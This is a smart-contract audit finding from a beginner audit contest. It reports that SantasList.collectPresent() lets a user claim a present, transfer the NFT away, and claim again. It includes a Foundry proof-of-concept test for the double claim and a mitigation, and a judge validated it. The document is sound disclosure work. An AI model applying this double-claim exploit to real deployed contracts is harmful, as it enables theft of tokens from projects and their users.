First Flight #5: Santa's List
First Flight #5
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Users can collect present more than once in SantasList.collectPresent()

pelz

Summary

The collectPresent function in the provided code introduces a vulnerability in the smart contract Which allows users to be able to collect presents more than once.

Vulnerability Details

Any user that has been checked twice and eligible to collect present can collect the present and transfer to another address then collect again because of the check on line 151.

Impact

The vulnerability exposes a flaw in the contract's conditional checks, enabling an attacker to undermine the intended security and functionality of the collectPresent function.

POC

in the test file add this line of code as a state variable:
address reciever = makeAddr("reciever");
then add this block of code to the file:

function testAttackCollectPresent() public {
vm.startPrank(santa);
santasList.checkList(user, SantasList.Status.EXTRA_NICE);
santasList.checkTwice(user, SantasList.Status.EXTRA_NICE);
vm.stopPrank();
​
vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME() + 1);
​
vm.startPrank(user);
santasList.collectPresent();
// after collecting present transfer to another address
santasList.transferFrom(user, reciever, 0);
​
// collect present again
santasList.collectPresent();
​
assertEq(santasList.balanceOf(user), 1);
assertEq(santasList.balanceOf(reciever), 1);
assertEq(santaToken.balanceOf(user), 2e18);
}

after that run this command to confirm the exploit
forge t --mt testAttackCollectPresent

Tools Used

Foundry & Manual Review

Recommendations

A mapping could be implemented to mitigate it, say using a mapping of address => bool and calling it hasClaimed so if a user has passed all the checks in the function has claimed can be set to true then a require statement would be needed to check if the user has claimed before or not.

Updates

Lead Judging Commences

inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Weak Already Collected Check

Relying on balanceOf > 0 in collectPresent() allows the msg.sender to send their present to another address and then collect again.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.